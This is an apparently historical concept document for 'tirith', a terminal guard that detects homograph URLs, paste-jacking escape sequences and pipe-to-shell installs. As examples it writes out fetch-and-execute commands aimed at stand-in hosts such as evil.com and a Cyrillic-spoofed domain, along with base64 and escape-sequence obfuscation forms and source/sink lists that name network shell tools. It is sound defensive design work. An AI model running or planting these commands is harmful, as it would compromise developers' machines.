Important
This is the original product and architecture concept document. It is kept for historical context and includes obsolete roadmap, implementation, and commercial assumptions. It is not the current installation, security, or capability contract. Use the README, changelog, capability matrix, enforcement coverage, and 0.4.0 release notes for current behavior.
Browsers solved homograph attacks years ago. Terminals haven't. tirith is the browser-equivalent safety net for the terminal.
1. Attacker puts this in a README:
curl -sSL https://іnstall.example-clі.dev | bash
^ ^
Cyrillic і Cyrillic і
(U+0456) (U+0456)
2. Developer copies it, pastes into terminal, hits enter
3. curl resolves the spoofed domain, downloads malicious script
4. bash executes it immediately
5. Developer is compromised
No existing tool guards the moment between "copy URL" and "execute command."
- Semgrep scans your source code for vulnerabilities — doesn't operate on URLs you consume.
- Snyk scans dependencies for known CVEs — doesn't care how you installed them or if the install URL was spoofed.
- Socket.dev watches package managers (npm, pip) — doesn't intercept
curl,wget,git clone, or any arbitrary command. - dnstwist generates domain permutations — tells the domain owner about fakes, not the developer consuming them.
tirith protects the developer, at the moment they paste and hit enter, with zero friction.
The shell hook. Zero friction, zero new commands. Distribution play for adoption.
Live threat intelligence feed consumed by the free tool. Team tier includes policy engine, audit export, and admin dashboard.
GitHub App + CI scanner. Positioned as "URL execution surface scanner" — finds links and commands that cause code execution in docs, scripts, and workflows.
Continuous domain monitoring for project maintainers. Actionable alerts with abuse report templates.
Pure shell is a land of edge cases and performance cliffs. The core engine is a small static Rust binary. Shell hooks are thin wrappers that call it.
Shell hook (zsh/bash/fish/powershell)
|
v
tirith binary (Rust, statically linked)
|
├── Returns exit code:
│ 0 = allow (silent)
│ 1 = block (print reason to stderr)
│ 2 = warn (print prompt payload to stderr, wait for user input on /dev/tty)
|
└── Structured JSON output available via --format json flag
Benefits:
- Single detection engine shared across zsh, bash, fish, PowerShell — no logic rewrite per shell
- Deterministic URL parsing (public suffix list, strict host extraction, safe percent-decoding)
- Fast startup (static binary, no runtime)
- Proper Unicode handling via Rust's unicode libraries
- Testable in isolation without shell environment
The Rust binary is invoked per-command, so it has no persistent memory between invocations. The fast path is split between shell and binary:
Shell layer (< 1ms):
- Shell hook checks if command matches URL-like regex (
https?://,git@,ssh://, etc.) - If no match AND no control characters detected, bail immediately — binary is never invoked
- Shell hook loads allowlist into a hash map at shell init time (
typeset -Ain zsh,declare -Ain bash) - If all extracted hostnames are in the allowlist hash, bail — binary is never invoked
Binary layer (when invoked, < 5ms typical):
- Binary loads compiled data files from
~/.tirith/data/(confusables, PSL, popular repos) — mmap'd, no parsing overhead - Binary loads feed.json if present
- Runs full analysis pipeline
- Returns exit code + output
Future option: Long-lived tirithd daemon that holds all data in memory and answers over a Unix socket. This eliminates per-invocation data loading overhead entirely. Not needed for MVP — the shell-layer fast path handles the common case.
~/.tirith/
├── tirith.sh # zsh/bash hook (thin wrapper, sources shell-specific glue)
├── tirith.fish # fish hook
├── tirith.ps1 # PowerShell hook
├── bin/
│ └── tirith # Rust binary (the actual engine)
├── lib/
│ ├── zsh-hook.zsh # zsh preexec + bracketed-paste widget
│ ├── bash-hook.bash # bash preexec + readline binding
│ └── fish-hook.fish # fish event handler
├── data/
│ ├── confusables.bin # Unicode confusable character mappings (compiled)
│ ├── public-suffix.bin # Public suffix list (compiled)
│ └── popular-repos.bin # Known popular repos for typosquat detection
├── allowlist # Trusted domains (one per line, supports wildcards)
├── blocklist # Blocked domains (one per line)
├── feed.json # Signed threat feed (synced daily, paid)
├── policy.yml # Team policy file (optional)
├── receipts/ # Install receipts from safe mode runs
└── log # Audit log of all blocked/warned URLs
# One line in .zshrc / .bashrc
source ~/.tirith/tirith.sh- Commands without URLs or control chars: < 1ms overhead (shell-layer fast bail, binary not invoked)
- Commands with allowlisted URLs only: < 1ms overhead (shell-layer allowlist hash check, binary not invoked)
- Commands with non-allowlisted URLs: < 5ms overhead (binary invoked, full analysis)
- Commands with suspicious URLs: blocks and shows UI (intentional)
- Redirect resolution (paranoia high): cached on disk for 5 minutes per URL
These are first-class threats. Terminals are not browsers — they render control characters that can visually deceive.
| Attack | Mechanism | Risk |
|---|---|---|
| ANSI escape injection | \x1b[ sequences rewrite displayed text, move cursor, hide content |
Pasted text visually shows git status but actually contains curl evil.com | bash behind escape sequences that rewrite the display |
| Carriage return trick | \r in pasted content can cause immediate submission of the line up to that point in some terminals/line editors (a paste-jacking auto-enter variant), or overwrite the visible beginning of the line |
Partial command execution mid-paste, or visual mismatch between what's displayed and what's buffered |
| Backspace trick | \b moves cursor back, visually overwriting characters |
curl evil.com\b\b\b\b\b\b\b\b\bgood.com — terminal may display good.com but the full byte sequence is in the line buffer |
| Unicode bidi override | RTL/LTR override characters (U+202E, U+202D, U+2066-U+2069) | evil.sh rendered as hs.live when bidi controls flip display order |
| Zero-width characters | ZWJ (U+200D), ZWNJ (U+200C), zero-width space (U+200B) in domains/paths | github.com with invisible characters resolves to a different domain |
Policy: Any control character other than \n and \t is BLOCK by default in pasted content. Any ANSI escape sequence is BLOCK by default. There is no legitimate reason for pasted terminal commands to contain escape sequences or carriage returns.
Instead of pattern-matching specific command strings, tirith models commands as a graph of sources (download primitives) and sinks (execution primitives).
Sources — anything that fetches remote content:
curl, wget, fetch, aria2c, httpie (http/https)
git clone, git pull, git submodule update
docker pull, docker build (FROM)
scp, rsync
nc, ncat, socat
python -c "import urllib...", node -e "fetch(...)"
Sinks — anything that executes content:
sh, bash, zsh, fish, dash, ksh
python, python3, node, perl, ruby, php
eval, exec, source, . (dot)
sudo sh, sudo bash, sudo -s
xargs sh -c
env VAR=... (when VAR is later executed)
PowerShell sources and sinks:
Sources: Invoke-WebRequest (iwr), Invoke-RestMethod (irm), wget (alias), curl (alias)
Sinks: Invoke-Expression (iex), & (call operator), Start-Process, powershell -Command
Patterns: iwr https://... | iex, irm https://... | iex, & ([scriptblock]::Create((irm ...)))
Pipe/connection patterns between source and sink:
source | sink # direct pipe
source > file && sink file # download-then-exec
source -o file && chmod +x file && ./file
sink <(source) # process substitution
sink <<< "$(source)" # here-string
sink -c "$(source)" # command substitution
eval "$(source)" # eval substitution
. <(source) # dot-source
ssh host 'source | sink' # remote pipe
scp host:file /tmp/x && /tmp/x # remote fetch + exec
Archive install chains:
curl ... | tar xz && ./install.sh # download archive, extract, execute
curl ... -o x.tgz && tar -xzf x.tgz && ./install.sh
wget ... -O - | unzip - && ./setup.sh
Any detected source-to-sink connection triggers a warning, regardless of exact syntax.
tirith triggers on all of these, not just HTTP URLs:
| Pattern | Example |
|---|---|
http://, https:// |
Standard URLs |
git@host:org/repo.git |
SCP-style git syntax |
ssh://, git://, svn:// |
Non-HTTP VCS protocols |
rsync:// |
rsync protocol |
ftp://, ftps:// |
FTP |
npm install git+https://... |
npm git dependency |
pip install -e git+... |
pip editable git install |
docker pull registry/repo |
Docker registry references (no scheme) |
| Schemeless URLs | curl example.com/install.sh — ambiguous, typically resolves to HTTP (not HTTPS) in most tools. WARN or BLOCK when sink present. |
Before running heuristics, tirith normalizes input to defeat obfuscation:
| Technique | What it catches |
|---|---|
| Percent-decoding (iterative, capped at 3 rounds) | %2568ttp -> %68ttp -> http. Stops at cap to prevent DoS. |
| ANSI-C quote expansion | $'\x63\x75\x72\x6c' -> curl |
| Shell quote removal and retokenization | curl "$URL", curl "${url}", curl ''https://...' -> extracted URL |
Backtick and $() expansion (static, best-effort) |
url=`echo https://evil.com`; curl $url -> flagged |
| String concatenation detection | a="https://evil"; b=".com"; curl "${a}${b}" -> flagged as suspicious pattern |
| Base64 detection | echo "aHR0cHM6Ly9ldmlsLmNvbQ==" | base64 -d | bash -> flagged |
This is best-effort, not a full shell parser. The goal is to raise the bar enough that attackers can't dodge detection with trivial encoding.
Caps and limits (DoS prevention):
- Max paste length: 64 KB (configurable). Longer pastes are truncated for analysis, full content is blocked with a warning.
- Max URLs extracted per command: 50. Beyond this, warn about unusual command complexity.
- Max normalization rounds: 3 (percent-decoding loops).
- Max binary analysis time: 50ms hard timeout. If exceeded, allow with a log entry (fail-open to avoid blocking the developer).
When curl -L or wget (follows redirects by default) is detected:
Paranoia low: no network calls, skip
Paranoia medium: no network calls, skip
Paranoia high: GET with Range: bytes=0-0 to resolve redirect chain
(HEAD is unreliable — some servers behave differently for HEAD vs GET)
Hard cap: max 10 redirects, 5 second total timeout
Results cached on disk for 5 minutes per URL
Display:
Original: https://legit.com/install.sh
Redirects: -> https://cdn.legit.com/install.sh (same org, ok)
-> https://evil-cdn.com/payload.sh (CROSS-DOMAIN!)
Cross-domain redirect detected after 2 hops.
Final host: evil-cdn.com (not associated with legit.com)
[r]un [a]bort
- Conditional on TTY (never in non-interactive mode)
- Off by default, enabled at paranoia
highor via policy
Silent guard on every command. Intercepts before execution.
User types command
|
v
Shell fast path:
- No URL-like pattern AND no control chars? -> run immediately (< 1ms)
- All hostnames in allowlist hash? -> run immediately (< 1ms)
|
v
Invoke tirith binary with raw command string
|
v
Binary: normalize -> extract URLs -> check each -> analyze command shape
|
v
Exit 0 (allow) -> run silently, zero output
Exit 1 (block) -> print reason to stderr, abort command
Exit 2 (warn) -> print prompt to stderr, wait for user choice on /dev/tty
Non-interactive behavior:
If not a TTY (scripts, CI, piped input), never prompt. Default to policy action:
- BLOCK triggers -> block silently, log, exit non-zero
- WARN triggers -> log only (or block, if policy says so)
This prevents tirith from breaking automated workflows.
Intercepts at paste time, before the command even lands on the prompt.
Modern terminals wrap pasted text with escape sequences (\e[200~ ... \e[201~). tirith hooks into the shell's paste handling to inspect content before it reaches the command line.
Clean paste (99% of the time):
Text appears on the command line normally. No delay. No output. User sees nothing.
Suspicious paste — control characters / escape sequences:
+-- BLOCKED: TERMINAL ESCAPE SEQUENCES ---------------------------+
| Pasted content contains ANSI escape sequences that can |
| manipulate your terminal display. |
| |
| Raw bytes detected: |
| \x1b[2K (erase line) |
| \x1b[1A (cursor up) |
| \x0d (carriage return — can trigger mid-paste execution) |
| |
| Visible text: git clone https://github.com/legit/repo |
| Actual payload: curl https://evil.com/x.sh | bash |
| |
| [c]ancel [s]how full hex dump |
+------ this content was NOT placed on your command line ---------+
$ _
Suspicious paste — homograph URL:
+-- CLIPBOARD WARNING --------------------------------------------+
| Non-ASCII characters detected in pasted URL hostname. |
| |
| Pasted: curl -sSL https://іnstall.example-clі.dev | bash |
| Actual: curl -sSL https://xn--nstall-cuf.example-xn--cl-8cd.dev |
| |
| No executable rewrite: the intended hostname cannot be inferred.|
| Next step: inspect with `tirith diff`, then verify the host |
| independently before fetching anything. |
| |
| [p]aste anyway [c]ancel [s]how bytes |
+------ this content was NOT placed on your command line ----------+
$ _
Hidden multi-line command paste:
+-- HIDDEN COMMANDS DETECTED -------------------------------------+
| Your clipboard contains 3 lines but only 1 was visible |
| on the webpage. |
| |
| Line 1: git clone https://github.com/legit/repo |
| Line 2: curl https://evil.com/x.sh | bash <- HIDDEN |
| Line 3: clear <- HIDDEN |
| |
| The hidden lines would execute silently. |
| |
| [1] paste line 1 only [a]ll [c]ancel |
+------ this content was NOT placed on your command line ----------+
$ _
The command never hits the prompt until the user makes a choice. The cursor sits at an empty prompt.
Implementation notes:
The exact paste interception mechanism varies by shell:
- zsh: Override the
bracketed-pastewidget. The widget receives the raw pasted bytes, pipes them to the tirith binary for analysis, and only inserts into the line buffer if clean. - bash: Use
bindto intercept the bracketed paste escape sequences via readline. - fish: Hook into
fish_clipboard_pasteevent. - PowerShell:
Set-PSReadLineKeyHandlerfor paste events.
Details are implementation-specific and will be finalized during development. The spec describes behavior, not exact zsh widget API usage.
Applied to every URL found in a command or paste:
Hostname checks:
| Check | Severity | Description |
|---|---|---|
| Non-ASCII in hostname | BLOCK | Any byte outside printable ASCII range (0x20-0x7E) in URL hostname. Catches all homograph attacks regardless of script. |
| Punycode domain | BLOCK | Domain containing xn-- prefix. Internationalized domain encoded for DNS. |
| Mixed-script within label | BLOCK | Latin + Cyrillic (or other non-common script) characters within the same DNS label (excluding hyphens and digits). Almost always malicious. Mixed script across labels can occur in legitimate IDNs and is handled by the IDN allowlist. |
| Userinfo trick | BLOCK | URL contains @ in authority position (detected via RFC 3986 compliant host extraction, not naive string search): https://github.com@evil.com/payload. Real host is evil.com. |
| Confusable domain | WARN | Domain visually similar to a known domain (Levenshtein distance, Unicode confusables table). |
| Raw IP address | WARN | http://185.234.xx.xx/install.sh. No legitimate installer uses a raw IP. |
| Non-standard port | WARN | Known domain with unexpected port: https://github.com:8443/.... |
| Trailing dot / whitespace | WARN | github.com. or github.com\t — resolves differently than expected. |
| Lookalike TLD | WARN | .zip, .mov and other new TLDs that resemble file extensions (social engineering vector). |
Path/query checks (separate from hostname, different defaults):
| Check | Severity | Description |
|---|---|---|
| Non-ASCII in path | WARN | Confusable characters in URL path: github.com/lеgit/repo (Cyrillic е in path). Not BLOCK because non-ASCII paths can be legitimate. |
| Homoglyph in path | WARN | Visually confusable characters in path components near known repo/package names. |
| Double encoding | WARN | Nested percent-encoding after normalization: %2568ttp -> %68ttp -> http. |
Protocol/transport checks:
| Check | Severity | Description |
|---|---|---|
| Plain HTTP to sink | BLOCK | http:// URL connected to an execution sink. No TLS = MITM trivial. Allowlist overrides. |
| Schemeless URL to sink | WARN | Schemeless URLs are ambiguous and commonly resolve to HTTP. BLOCK if policy is strict. |
| Shortened URL | WARN | bit.ly, t.co, tinyurl.com, etc. Resolve and show final destination (at paranoia medium+). |
| Insecure TLS flags | BLOCK (with sink), WARN (without) | curl -k, curl --insecure, wget --no-check-certificate. Disabling TLS verification when piping to a shell is extremely dangerous. |
| raw.githubusercontent.com | WARN (elevated if sink present) | Legitimate domain but frequently abused. Allowed normally, elevated to WARN if connected to an execution sink. |
Environment checks:
| Check | Severity | Description |
|---|---|---|
| Proxy environment variables | WARN (elevated) | http_proxy, https_proxy, all_proxy, curl --proxy present. Can silently reroute "legit" domains through an attacker-controlled proxy. Elevates all URL warnings when detected. |
Beyond URL analysis, detect dangerous command patterns using the source-sink model:
| Pattern | Severity | Examples |
|---|---|---|
| Direct pipe to shell | WARN | curl ... | bash, wget ... | sh, curl ... | python |
| Process substitution | WARN | bash <(curl ...), source <(curl ...), . <(curl ...) |
| Command substitution to eval | WARN | eval $(curl ...), eval "$(wget ...)" |
| Command substitution to shell | WARN | sh -c "$(curl ...)", bash -c "$(wget ...)" |
| Here-string from download | WARN | bash <<< "$(curl ...)" |
| Download + chmod + exec chain | WARN | curl -o x ... && chmod +x x && ./x |
| Archive extract + exec chain | WARN | curl ... | tar xz && ./install.sh, curl -o x.tgz ... && tar -xzf x.tgz && ./setup.sh |
| Download to PATH directory | WARN | curl ... -o /usr/local/bin/thing |
| Dotfile overwrite (write) | BLOCK | wget -O ~/.bashrc ..., curl -o ~/.zshrc ..., curl ... > ~/.ssh/authorized_keys |
| Dotfile append | BLOCK | curl ... >> ~/.ssh/config, wget ... >> ~/.profile, cat ... >> ~/.gitconfig |
| Heredoc to sensitive file | BLOCK | cat << EOF > ~/.ssh/config with content from a download source |
| Silent download + pipe | WARN (elevated) | curl -s ... | bash — suppressed output + shell pipe |
| Sudo + any sink | WARN (elevated) | sudo sh -c "$(curl ...)" — elevated privileges |
| Remote pipe via SSH | WARN | ssh host 'curl ... | sh' — source-sink on remote host |
| Remote fetch + exec | WARN | scp host:/tmp/x.sh . && bash x.sh |
| Env var staging | WARN | export URL=$(curl ...) followed by execution in same paste |
| PowerShell download + exec | WARN | iwr https://... | iex, irm https://... | iex, & ([scriptblock]::Create((irm ...))) |
The command checker reports the finding first. With --suggest, it may also
emit one executable alternative, but only after it has decoded the URL and sink
as shell literals and proved that the interpreter argv and stdin behavior fit
the typed runner contract. Executable output is limited to x86_64 Linux when
the running Tirith binary itself is at a fixed, root-managed system path. The
generated command pins that absolute path and the exact candidate must
re-analyze to approval-free Allow under the same policy, session, origin,
shell, and cwd; every failed precondition leaves guidance only:
$ tirith check --suggest -- 'curl -fsSL https://get.example-tool.sh | bash'
# try: '/usr/local/bin/tirith' run --capsule --script-stdin --interpreter bash \
# 'https://get.example-tool.sh'The generated command preserves bash and feeds the reviewed bytes over stdin;
the remote script's shebang cannot replace the selected interpreter. Supported
forms include no-argument sh, bash, zsh, dash, ksh, fish, and ash,
plus the narrow POSIX-shell -s -- <literal operands...> form. Dynamic or
malformed URLs, decoded control characters, Cmd, |&, unsupported download
options, unsupported interpreter arguments, and ambiguous pipelines stay
guidance-only. Tirith never repairs those executable bytes by deleting
characters.
For a manually supplied URL, tirith run downloads bounded bytes, hashes and
analyzes them, prints the resulting verdict, asks for an explicit y on
/dev/tty, records a receipt, and executes a fresh private hash-verified copy:
$ tirith run https://get.example-tool.sh--no-exec stops after analysis. --capsule makes interpreter launch an
enforcing surface: if the selected host backend cannot provide the capsule's
required coverage, execution is refused rather than silently falling back.
The download and DNS resolution occur before interpreter containment and use
the fetch validator; capsule execution should not be described as a separate
network-resolution guarantee.
There is no built-in $PAGER step or [v] prompt. Use --no-exec to stop after
analysis, or tirith fetch <url> --save <path> for explicit file review. The
--script-stdin, --interpreter, and --interpreter-arg flags are the typed
contract used by verified check --suggest rewrites; manual runs otherwise use
the completely analyzed shebang and private-file execution semantics.
When tirith runs an installer in safe mode (tirith run), it stores a receipt:
{
"url": "https://get.example-tool.sh",
"final_url": "https://get.example-tool.sh",
"redirects": 0,
"sha256": "a1b2c3d4e5f6...",
"size_bytes": 4301,
"domains_referenced": ["cdn.example-tool.sh"],
"paths_referenced": ["~/.example-tool/bin/example-tool", "~/.bashrc"],
"analysis_method": "static",
"privilege": "user",
"timestamp": "2026-02-01T14:32:01Z",
"cwd": "/Users/dev/project",
"git_repo": "github.com/dev/project",
"git_branch": "main"
}Note: domains_referenced and paths_referenced are statically inferred from the script text. The analysis_method field indicates whether these are from static analysis ("static") or runtime tracing ("traced" — future).
Commands:
$ tirith receipt last
Last install: https://get.example-tool.sh
SHA256: a1b2c3d4e5f6...
Domains referenced: cdn.example-tool.sh
Paths referenced: ~/.example-tool/bin/example-tool, ~/.bashrc
Analysis: static (inferred from script content)
Run at: 2026-02-01 14:32 UTC in /Users/dev/project (main)
$ tirith receipt list
2026-02-01 https://get.example-tool.sh a1b2c3... static
2026-01-28 https://sh.rustup.rs f7e8d9... static
2026-01-15 https://get.docker.com b3c4d5... static
$ tirith receipt verify a1b2c3d4e5f6
Fetching https://get.example-tool.sh ...
Current SHA256: a1b2c3d4e5f6...
Receipt SHA256: a1b2c3d4e5f6...
MATCH — script has not changed since last run.
$ tirith receipt verify a1b2c3d4e5f6
Current SHA256: x9y8z7w6...
Receipt SHA256: a1b2c3d4e5f6...
MISMATCH — script has changed since you last ran it!
Use `tirith run` to review the new version.This is "nutrition labels for install scripts." It creates a data flywheel for the feed without spying on people — users can opt-in to share anonymized receipt hashes (URL + SHA256 only, no paths or commands) to help detect compromised install scripts.
When a warning triggers and the user wants to understand:
$ tirith why
Last trigger: BLOCK — Non-ASCII characters in URL hostname
Rule: non_ascii_hostname
Triggered at: 2026-02-01 14:32:01 UTC
What happened:
Your command contained a URL with Cyrillic character і (U+0456)
at position 27 in the hostname. This is a homograph attack —
the URL visually mimics install.example-cli.dev but resolves to
a completely different server.
Proof:
Byte 12: expected 0x69 (Latin i), got 0xd1 0x96 (Cyrillic і)
Next step:
tirith diff https://іnstall.example-clі.dev
Verify the intended hostname independently before downloading anything.Every warning comes with:
- Which rule triggered and the minimal proof
- A verified executable rewrite only when exact semantics can be proved; otherwise static remediation guidance
Developers forgive warnings when they come with a clean fix.
This remediation surface is now concrete: every finding carries a per-rule
remediation (shown as a Fix: line and in --format json); tirith explain --rule <id> --fix prints a rule's remediation on its own; and tirith check --suggest rewrites the actual command into a safer one wherever a
transformation is genuinely correct (supported pipe-to-shell → typed
tirith run --capsule --script-stdin --interpreter <shell> on the narrowly
supported x86_64 Linux path). TLS-flag removal, HTTP-to-HTTPS changes, archive,
dotfile, environment, sudo, and package-name changes are guidance-only.
Where there is no safe mechanical rewrite, tirith says so plainly rather than
inventing one.
$ tirith score https://install.example-tool.dev:8443/setup.sh
tirith: https://install.example-tool.dev:8443/setup.sh — risk score: 40/100 (medium)
[MEDIUM] non_standard_port — Non-standard port on known domaintirith score runs a URL through the same detection engine tirith check
uses and turns the findings into a 0–100 risk score. The score is fully
deterministic and explainable — there is no model, no learned weights, and no
statistical classifier. It is a fixed sum of named factors, and --explain
shows that sum so the number is reproducible by hand:
$ tirith score --explain https://install.example-tool.dev:8443/setup.sh
score breakdown (each factor is fixed and inspectable — no model, no learned weights):
+40 Highest-severity finding (running total: 40)
Highest-severity finding is MEDIUM; a MEDIUM finding contributes 40 base points.
+0 Additional findings (running total: 40)
1 finding(s) — no additional-finding points (the first finding is already counted by base severity).
= 40 / 100 (medium) — sum of every factor aboveThe factors are:
- Highest-severity finding — the single highest-severity finding sets the
base:
Critical90,High70,Medium40,Low15, none 0. - Additional findings — each finding past the first adds a flat +5.
- Threat-intel corroboration — if a finding came from the local threat-intelligence database and there is at least one other finding, +5. A threat-DB hit is an unambiguous external confirmation; this factor is additive only and never fires on its own.
The score is clamped to 100, and when the clamp bites it is shown as an
explicit factor so the breakdown always sums exactly to the displayed number.
--format json adds a score_breakdown object carrying the same factors. The
score is advisory: it is derived from a verdict but never changes one —
tirith score is an inspection command, not an enforcement path.
$ tirith diff https://іnstall.example-clі.dev
Expected: i n s t a l l . e x a m p l e - c l i . d e v
Got: і n s t a l l . e x a m p l e - c l і . d e v
^ ^
U+0456 CYRILLIC U+0456 CYRILLIC
SMALL LETTER SMALL LETTER
BYELORUSSIAN- BYELORUSSIAN-
UKRAINIAN I UKRAINIAN I
Byte comparison:
Position 0: expected 0x69 (Latin i) | got 0xd1 0x96 (Cyrillic і, 2 bytes)
Position 18: expected 0x69 (Latin i) | got 0xd1 0x96 (Cyrillic і, 2 bytes)
Closest ASCII mapping:
іnstall.example-clі -> install.example-cli
^ ^ ^ ^
Cyrillic | Latin Latin
CyrillicDefault display for any homograph/confusable warning. Shows:
- Monospace spaced character rendering
- Unicode codepoints
- Closest ASCII mapping
- Highlighted confusable positions
# ~/.tirith/allowlist — one domain per line, supports wildcards
get.example-tool.sh
sh.rustup.rs
raw.githubusercontent.com
*.docker.com
# ~/.tirith/blocklist — manually blocked domains
evil-domain.xyz
Allowlisted domains are checked in the shell-layer fast path (hash map lookup, binary not invoked). Blocklisted domains are always blocked regardless of content.
False positive handling for legitimate IDNs: Default is to block all punycode/non-ASCII hostnames. For orgs that use legitimate IDN domains, the policy file can allowlist specific IDN domains:
# policy.yml
allowed_idn_domains:
- "münchen.de"
- "例え.jp"Every blocked, warned, and allowed URL is logged:
# ~/.tirith/log (structured, one JSON object per line)
{"ts":"2026-02-01T14:32:01Z","action":"block","reason":"non_ascii_hostname","cmd":"curl -sSL https://xn--nstall-cuf.example-xn--cl-8cd.dev | bash","cwd":"/Users/dev/project","git":"main","url":"https://xn--nstall-cuf.example-xn--cl-8cd.dev"}
{"ts":"2026-02-01T14:35:12Z","action":"warn","reason":"source_sink_pipe","cmd":"curl -fsSL https://get.docker.com | sh","cwd":"/Users/dev/infra","git":"deploy","url":"https://get.docker.com"}
{"ts":"2026-02-01T14:35:15Z","action":"allow","reason":"user_override","cmd":"curl -fsSL https://get.docker.com | sh","cwd":"/Users/dev/infra","git":"deploy","url":"https://get.docker.com"}
Structured JSON for easy parsing, SIEM ingestion, and analysis.
$ git clone https://github.com/loadash/lodash
WARN: Organization "loadash" looks similar to "lodash" (lodash/lodash).
Did you mean: https://github.com/lodash/lodash ?
[c]ontinue [s]witch [a]bortAlso covers SCP-style git URLs:
$ git clone git@github.com:loadash/lodash.git
WARN: Organization "loadash" looks similar to "lodash".$ docker pull evil-registry.io/nginx
WARN: Pulling "nginx" from non-standard registry "evil-registry.io".
Official image: docker.io/library/nginx
[c]ontinue [a]bort$ pip install https://evil.com/requests-2.28.tar.gz
WARN: Installing Python package from raw URL, not from PyPI.
Known PyPI package with same name: requests (https://pypi.org/project/requests/)
[c]ontinue [a]bortAlso covers:
$ pip install -e git+https://gіthub.com/psf/requests.git#egg=requests
BLOCKED: Non-ASCII in hostname for pip git dependency.
$ npm install git+https://gіthub.com/lodash/lodash.git
BLOCKED: Non-ASCII in hostname for npm git dependency.$ cast send --rpc-url https://maіnnet.infura.io/v3/...
BLOCKED: Non-ASCII in RPC endpoint hostname.
Sending transactions through a spoofed RPC exposes raw signed
transactions to the attacker (front-running, replay, redirection).$ cast send 0xd8dA6BF26964aF9D7eEd9e03E534l5D37aA96045 ...
WARN: Address contains visually confusable characters.
Position 35: 'l' (lowercase L) looks like '1' (digit one).99%+ of commands pass through with zero output and < 1ms overhead. The user should forget tirith is running.
If not a TTY (scripts, CI, piped input, cron):
- Never prompt. Never wait for input.
- BLOCK actions -> exit non-zero, log.
- WARN actions -> log only (or block, per policy).
- Output goes to stderr, never pollutes stdout.
TIRITH=0 curl -L https://something.xyz | bashThis is a standard shell per-command prefix — the variable only exists for that single command and does not persist in your session. For local dev use when you know what you're doing.
Org policy can disable this:
# policy.yml
allow_bypass_env: false # TIRITH=0 is ignored, org rules enforcedNo naked warnings. Every trigger includes:
- What rule fired and why
- The minimal proof (byte diff, domain comparison, etc.)
- Static remediation guidance, plus a verified executable pipe-runner command only when Tirith can prove the complete supported transformation
WARN: Pipe-to-shell detected.
Next step: tirith check --suggest -- '<original command>'
All interactive prompts follow the same pattern:
+-- [BLOCK/WARN]: [Short reason] --------------------------------+
| |
| [Details] |
| |
| [Options with single-key shortcuts] |
+------ [footer: what happened to the command] -------------------+
The free tool catches structural anomalies (non-ASCII bytes, punycode, suspicious patterns). The feed catches structurally clean but known-malicious domains — this is exactly where heuristics lose and intel wins.
| Data | Source | Update frequency |
|---|---|---|
| Active homograph domains targeting developer tools | Certificate transparency logs + dnstwist permutations for top 500 dev tool domains | Daily |
| Known malicious install script URLs | Honeypots + community reports + manual research | Real-time |
| Newly registered domains mimicking dev tools | Domain registration monitoring | Daily |
| Compromised legitimate URLs | Threat intel partnerships + VirusTotal | Real-time |
| Malicious curl-pipe-bash script signatures (SHA256) | Static analysis of install scripts found in the wild | Weekly |
~/.tirith/feed.json <- synced daily (or hourly for teams)
tirith checks feed FIRST <- known-bad = instant block
then falls through to local <- heuristic detection
pattern detection
Feed is a signed JSON file <- ed25519 signature, prevents tampering
pulled from api.tirith.dev
- Append-only transparency log of all feed entries — customers can verify entries are not quietly added or removed
- Each indicator includes a reason code:
ct_observed,user_report,sandbox_detonation,registration_monitor,honeypot - Consider Sigstore-style signatures for known installer scripts where publishers opt in
| Tier | Price | Includes |
|---|---|---|
| Individual | $7/mo | Daily feed sync, personal use |
| Team | $15/seat/mo | Hourly feed sync, team audit dashboard, central policy distribution, cannot-override block rules, SIEM export (webhook, syslog), admin view of top triggers, audit log aggregation |
"URL execution surface scanner" — finds links and commands that cause code execution in docs, scripts, and workflows. Not generic security scanning.
| File type | What it finds |
|---|---|
README.md, CONTRIBUTING.md, docs |
Homograph URLs, spoofed install commands |
Makefile, Justfile |
curl | bash in build targets pointing to suspicious URLs |
Dockerfile, docker-compose.yml |
Spoofed base image registries, suspicious ADD/COPY from URL |
install.sh, setup.sh, bootstrap.sh |
Hardcoded malicious URLs, obfuscated download commands |
.github/workflows/*.yml |
Actions pulling from spoofed URLs, curl in CI steps |
package.json scripts |
"postinstall": "curl ... | bash" |
.env.example, config templates |
Spoofed API endpoints, service URLs |
*.ipynb (Jupyter notebooks) |
Invisible/bidi characters, base64 blobs, hidden cells, suspicious cell outputs |
CLAUDE.md, AGENTS.md, .cursorrules |
Hidden directives — HTML comments, visually-hidden elements (visible instructions are expected, not flagged) |
*.svg |
Embedded <script>, on* event handlers, javascript: URIs, remote refs, XXE external entities |
- Diff-only mode (default for PRs): Only scans changed lines. No noise from existing codebase.
- Full scan mode: Scans entire repo. Used for initial onboarding.
- Baseline file:
.tirith/baseline.jsonstores known accepted findings so large repos can adopt incrementally without being buried in pre-existing issues.
- GitHub App: comments on PRs when a suspicious URL is introduced in the diff
- CLI mode:
tirith scan ./for local or CI pipeline use - GitHub Actions / GitLab CI / CircleCI integration
[](https://tirith.dev)Repos scanned by tirith ci can display a trust badge — "This repo contains no spoofed URLs."
| Tier | Price | Includes |
|---|---|---|
| Small (up to 10 repos) | $50/mo | PR scanning (diff-only), CLI access |
| Mid (up to 50 repos) | $200/mo | PR scanning, CLI, policy engine, baseline |
| Enterprise (unlimited) | $500/mo | All features, SSO, audit export, SLA |
Register your domains. tirith continuously monitors for impersonation.
- Newly registered confusable domains (via certificate transparency logs + domain registration feeds)
- Lookalike domains that resolve and serve content
- Lookalike domains with MX records (email interception)
- GitHub repos referencing spoofed versions of your URLs
- dnstwist is a point-in-time CLI scan you run manually
- tirith monitor is continuous — alerts within hours of a new threat
- Discovered threats are automatically pushed to the feed, protecting all tirith users
When a lookalike domain is found, the alert includes:
NEW LOOKALIKE DETECTED
============================================================
Your domain: example-cli.dev
Lookalike: example-clі.dev (Cyrillic і)
Registered: 2026-01-30 (2 days ago)
Registrar: Namecheap
Hosting: 185.234.xx.xx (Hetzner, DE)
MX records: Yes (email interception capable)
Serves content: Yes (HTTP 200)
TLS cert: Let's Encrypt, issued 2026-01-30
Evidence bundle:
|- Screenshot of served page
|- DNS records snapshot
|- Certificate details
|- HTTP headers
|- First seen timestamp
Actions:
|- Pre-filled abuse report for Namecheap [copy]
|- Pre-filled abuse report for Hetzner [copy]
|- Pre-filled Google Safe Browsing report [copy]
|- Registrar/hosting contact info extracted
|- Add to tirith feed blocklist [done automatically]
What maintainers actually need at 2am: not just "we found something" but "here's the evidence bundle and the pre-filled abuse reports."
Monitor customers find threats
|
v
Threats feed into tirith feed (automatic)
|
v
Feed protects all free users
|
v
Free users become ci/feed customers
$30/mo per monitored domain.
For organizations that need enforceable rules across developers:
# .tirith/policy.yml
version: 1
